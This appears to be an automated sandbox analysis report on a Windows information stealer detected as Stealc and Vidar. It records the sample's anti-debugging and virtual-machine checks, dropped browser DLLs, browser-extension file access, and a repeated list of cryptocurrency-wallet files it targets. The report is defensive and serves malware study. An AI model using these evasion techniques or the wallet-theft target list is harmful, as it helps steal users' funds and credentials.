Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CC0 second address: 5180D22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], ecx 0x00000012 pushad 0x00000013 mov al, 09h 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F078CD5F946h 0x0000001c or cl, 00000028h 0x0000001f jmp 00007F078CD5F93Bh 0x00000024 popfd 0x00000025 pop eax 0x00000026 popad 0x00000027 pop ecx 0x00000028 jmp 00007F078CD5F93Fh 0x0000002d pop edi 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D22 second address: 5180D28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D28 second address: 5180D3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F93Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D3D second address: 5180D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F078CBAC2B2h 0x00000009 xor ax, 4A18h 0x0000000e jmp 00007F078CBAC2ABh 0x00000013 popfd 0x00000014 mov ax, 9DCFh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F078CBAC2B1h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D7F second address: 5180D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180D85 second address: 518086D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F078CBAC2B6h 0x00000011 retn 0008h 0x00000014 nop 0x00000015 lea ecx, dword ptr [ebp-20h] 0x00000018 call 00007F078CBAA74Fh 0x0000001d push ebp 0x0000001e mov ebp, esp 0x00000020 push ecx 0x00000021 mov dword ptr [ebp-04h], ecx 0x00000024 mov ecx, dword ptr [ebp-04h] 0x00000027 call 00007F078CBAC896h 0x0000002c push ebp 0x0000002d mov ebp, esp 0x0000002f sub esp, 08h 0x00000032 mov dword ptr [ebp-04h], ecx 0x00000035 mov eax, dword ptr [ebp-04h] 0x00000038 cmp dword ptr [eax+14h], 10h 0x0000003c jc 00007F078CBAC2ACh 0x0000003e mov ecx, dword ptr [ebp-04h] 0x00000041 mov edx, dword ptr [ecx] 0x00000043 mov dword ptr [ebp-08h], edx 0x00000046 jmp 00007F078CBAC2A8h 0x00000048 mov eax, dword ptr [ebp-08h] 0x0000004b mov esp, ebp 0x0000004d pop ebp 0x0000004e ret 0x0000004f mov esp, ebp 0x00000051 pop ebp 0x00000052 ret 0x00000053 push eax 0x00000054 lea edx, dword ptr [ebp-00000448h] 0x0000005a push edx 0x0000005b call 00007F07912F2EA7h 0x00000060 push 00000008h 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519001D second address: 519004C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F078CD5F93Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 movsx edi, ax 0x00000014 push eax 0x00000015 push edx 0x00000016 mov ax, 416Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519004C second address: 519005C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov esi, 1F781B03h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519005C second address: 51900CC instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F078CD5F944h 0x0000000c and ax, 38C8h 0x00000011 jmp 00007F078CD5F93Bh 0x00000016 popfd 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov edx, 5CBF4736h 0x00000022 pushfd 0x00000023 jmp 00007F078CD5F947h 0x00000028 xor ecx, 446E4FBEh 0x0000002e jmp 00007F078CD5F949h 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D1DB83 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EB36E1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EB9C1C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F405D3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5308	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3680	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3688	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3660	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4460	Thread sleep time: -46023s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C71EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C71EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2612835226.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: chrome.exe, 00000002.00000002.2354715739.00001FDC00077000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: file.exe, 00000000.00000002.2613572766.00000000011E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp}!
Source: chrome.exe, 00000002.00000002.2344449001.000002090365E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000002.00000002.2348649135.0000020978EEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\|\|j%P
Source: chrome.exe, 00000002.00000002.2348649135.0000020978F95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: chrome.exe, 00000002.00000002.2453384642.00001FDC02C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2334633730.00001FDC02204000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ~]lx{tn~lzyqeMu{_tvwpd
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: msedge.exe, 00000006.00000003.2360642084.00004F7C002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: chrome.exe, 00000002.00000002.2362295136.00001FDC006F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=93c6ea35-fc74-47f3-b165-bb427166bb96
Source: file.exe, 00000000.00000002.2612835226.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaren
Source: file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"
Source: msedge.exe, 00000006.00000002.2450261712.0000015E4D054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7EAC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7EAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C834760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C834760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C711C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C711C30

Source: file.exe	Binary or memory string: }tProgram Manager
Source: file.exe, 00000000.00000002.2612835226.0000000000E91000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: tProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7EAE71 cpuid

0_2_6C7EAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7EA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C7EA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C738390 NSS_GetVersion,

0_2_6C738390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2156925914.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2612006536.0000000000A31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2613572766.000000000119E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2232, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 